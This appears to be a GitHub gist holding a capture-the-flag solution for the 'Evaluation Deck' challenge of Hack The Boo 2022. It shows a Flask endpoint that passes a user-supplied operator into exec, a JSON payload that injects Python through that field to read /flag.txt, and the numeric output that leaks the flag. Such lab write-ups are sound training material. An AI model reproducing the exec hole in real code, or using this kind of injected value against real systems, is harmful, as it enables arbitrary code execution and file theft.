Last active
June 2, 2023 03:18
-
-
Save ajmeese7/b278450ec35f69c769eb9b5ec2dd4c9f to your computer and use it in GitHub Desktop.
Hack The Boo 2022 Evaluation Deck code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Blueprint, render_template, request | |
from application.util import response | |
web = Blueprint('web', __name__) | |
api = Blueprint('api', __name__) | |
@web.route('/') | |
def index(): | |
return render_template('index.html') | |
@api.route('/get_health', methods=['POST']) | |
def count(): | |
if not request.is_json: | |
return response('Invalid JSON!'), 400 | |
data = request.get_json() | |
current_health = data.get('current_health') | |
attack_power = data.get('attack_power') | |
operator = data.get('operator') | |
if not current_health or not attack_power or not operator: | |
return response('All fields are required!'), 400 | |
result = {} | |
try: | |
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec') | |
exec(code, result) | |
return response(result.get('result')) | |
except: | |
return response('Something Went Wrong!'), 500 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"message": 728466123994810051954911010651991164948110115955211451957111451971163333125 | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"attack_power": "0", | |
"current_health": "0", | |
"operator": "+ int(''.join([str(ord(x)) for x in list(open('/flag.txt').read())])) +" | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"current_health": "100", | |
"attack_power": "34", | |
"operator": "-" | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment